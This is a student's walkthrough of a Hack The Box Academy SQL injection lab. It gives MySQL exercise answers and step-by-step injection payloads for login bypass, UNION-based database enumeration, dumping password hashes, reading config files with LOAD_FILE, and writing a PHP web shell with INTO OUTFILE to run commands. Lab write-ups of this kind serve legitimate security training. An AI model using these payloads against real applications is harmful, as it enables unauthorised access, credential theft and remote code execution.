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1.​  INTRODUCTION 
This module teaches how to exploit SQL injection vulnerabilities to bypass authentication, 
retrieve data from the backend database, and even achieve remote code execution. Additionally, 
it explains how to patch your code and mitigate against these vulnerabilities. 
 

2.​ ANSWERS TO QUESTIONS 
MySQL Fundamentals 

a.​ Connect to the database using the MySQL client from the command line. Use the 
'show databases;' command to list databases in the DBMS. What is the name of the 
first database? 

●​ Run show databases command to retrieve a list of existing databases. 
●​ Answer = employees 

 
 

b.​ What is the department number for the 'Development' department? 
●​ Choose the employees database using the command use employees; 
●​ List the existing tables in the database with show tables; 
●​ Retrieve records from the departments table. 
●​ Answer = d005 



 
 

c.​ What is the last name of the employee whose first name starts with "Bar" AND who 
was hired on 1990-01-01? 

●​ List the tables under employees database. 
●​ View the structure of the employees table with the describe command. 
●​ Retrieve the records of the tables that match the pattern given. Answer = Mitchem 

 



d.​ In the 'titles' table, what is the number of records WHERE the employee number is 
greater than 10000 OR their title does NOT contain 'engineer'? 

●​ View the structure of the titles table with the describe command. 
●​ Use the count() function to count the number of records returned that match 

employee number higher than 10000 or title that does not contain ‘engineer.’ 
●​ Answer = 654 

 
 
 
SQL Injections 

a.​ Try to log in as the user 'tom'. What is the flag value shown after you successfully 
log in? 

●​ Try any password. The application returns login failed plus the query that has 
been executed. 

●​ From the SQL logic, we can insert the payload tom’ or ‘1’=’1 to bypass the login 
with any password. 



 
 

 
 

b.​ Login as the user with the id 5 to get the flag. 
●​ Again, try a random username and password to view the SQL logic. 
●​ The SQL logic and id>1 try to prevent the admin from loging in from the web 

application. 
●​ We can bypass this with the payload doesnotexist’ or id =5); # which will return 

true since there exists a user with id 5. The # comments everything else out 
allowing us to log in as the user with id 5 without a password. 



 
 

 
 

c.​ Connect to the above MySQL server with the 'mysql' tool, and find the number of 
records returned when doing a 'Union' of all records in the 'employees' table and all 
records in the 'departments' table. 

●​ View the structure of the employees and departments tables using the describe 
command. 

●​ Count all records returned that match the condition given.  



●​ This requires saving the result set as another table for the duration of the query 
using the AS command and then selecting all records from that table. 

●​ Note that we need to select junk columns in the second query to make the UNION 
compatible with the same number of columns. 

 
 

d.​ Use a Union injection to get the result of 'user()' 
●​ Inject the payload = US’ UNION SELECT 1,2,3,user(); – - to ensure the column 

numbers are compatible with the first query. 

 
 
 
 



Exploitation 
a.​ What is the password hash for 'newuser' stored in the 'users' table in the 'ilfreight' 

database? 
●​ Enumerate the database version using us’ SELECT 1,2,3,@@version 

 
●​ Check the current database using payload cn' UNION select 1,database(),2,3-- - 

 

 
●​ Enumerate the tables that exist in the current database using cn' UNION select 

1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where 
table_schema=ilfreight-- - 

 

 



●​ View the column names for the users table by injecting the payload cn' UNION select 
1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where 
table_name=users-- - 
 

 
●​ Finally, dump the data in the users table with cn' UNION select 1, username, 

password, 4 from users-- - 
 

 
 

b.​ We see in the above PHP code that '$conn' is not defined, so it must be imported 
using the PHP include command. Check the imported page to obtain the database 
password. 

●​ Below is the source code for the search.php file in reference that was loaded using 
the mysql LOAD_FILE() function. 



 
 

●​ We can try to load it too and check the source code to see the file that was included which 
contains the variable $conn defined. 

 
●​ From the source code, the included file is config.php 

 

 
 



●​ We can read the file by loading it with the payload cn' UNION SELECT 1, 
LOAD_FILE("/var/www/html/config.php"), 3, 4-- - and view the database password. 
 

 
 

c.​ Find the flag by using a webshell. 
To be able to write the web shell to the server we require: 

I.​ A user with the file privilege enabled. 
II.​ MySQL global secure_file_priv variable not enabled 
III.​ Write access to the location we want to write to on the backend server 

 

●​ We can use the payload cn' UNION SELECT 1, variable_name, 
variable_value, 4 FROM information_schema.global_variables where 

variable_name="secure_file_priv"-- - to check the value for the 
secure_file_priv variable. From the screenshot below, the value is blank, meaning 
we are allowed to read files from the entire file system. 

 
 



●​ Next, we write our web shell by utilizing the SELECT INTO OUTFILE statement using 
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile 
'/var/www/html/shell.php'-- - 
 

 
 

●​ Finally, we can list the root directory by passing the ls / command to the shell.php as the 
parameter value to get the file name then read its contents with cat /flag.txt as shown 
below. 

 

 
 
 
 
 
 
 
 
 
 
 
 



SKILLS ASSESSMENT 
 
Assess the web application and use a variety of techniques to gain remote code execution 
and find a flag in the / root directory of the file system. Submit the contents of the flag as 
your answer. 

●​ Bypass the authentication with the payload admin’ OR 1=1; – -  

 
 

●​ View the current user by utilizing the user( ) function as shown below. 
 

 
 

●​ Check if the current user has super privileges. Y means Yes. 
 

●​ Confirm Permission to read local filesystem files. The Privilege FILE as shown below 
shows that we use the LOAD_FILE( ) function to read files. 

 



 
 

●​ Check to confirm the secure_file_priv variable is not enabled.  

 
 

●​ Trying to write our webshell in the /var/www/html we get permissioned denied. We are 
not allowed to create files in the root folder of the web application. 
 

 
 



●​ However we can write the webshell under the dashboard folder with the payload cn' 
union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile 
'/var/www/html/dashboard/shell.php'-- - 

 
 

●​ Finally, we can pass the ls /  command to the web shell to list the contents of the root 
folder. This gives us the filename for the flag file.  

●​ With that, we can read its contents and retrieve the flag, as shown below. 

 
 
 
 
 
 
 



3. MODULE COMPLETION 
https://academy.hackthebox.com/achievement/144829/33 

 
 
 
 
 

4.  CONCLUSION 
This assignment has taught me how to perform a union-based SQL injection. I have learned to 
bypass authentication mechanisms by injecting SQL payloads into the database query. I have 
also learned how to enumerate databases, leading to exposing sensitive data using the UNION 
clause. I have also learned how to read local files using the LOAD_FILE( ) function and write 
files with the SELECT INTO OUTFILE statement, resulting in writing web shells and 
performing remote code execution on the server. Finally, I have learned how to mitigate these 
SQL vulnerabilities by validating user inputs and using parameterized queries. 
 

https://academy.hackthebox.com/achievement/144829/33

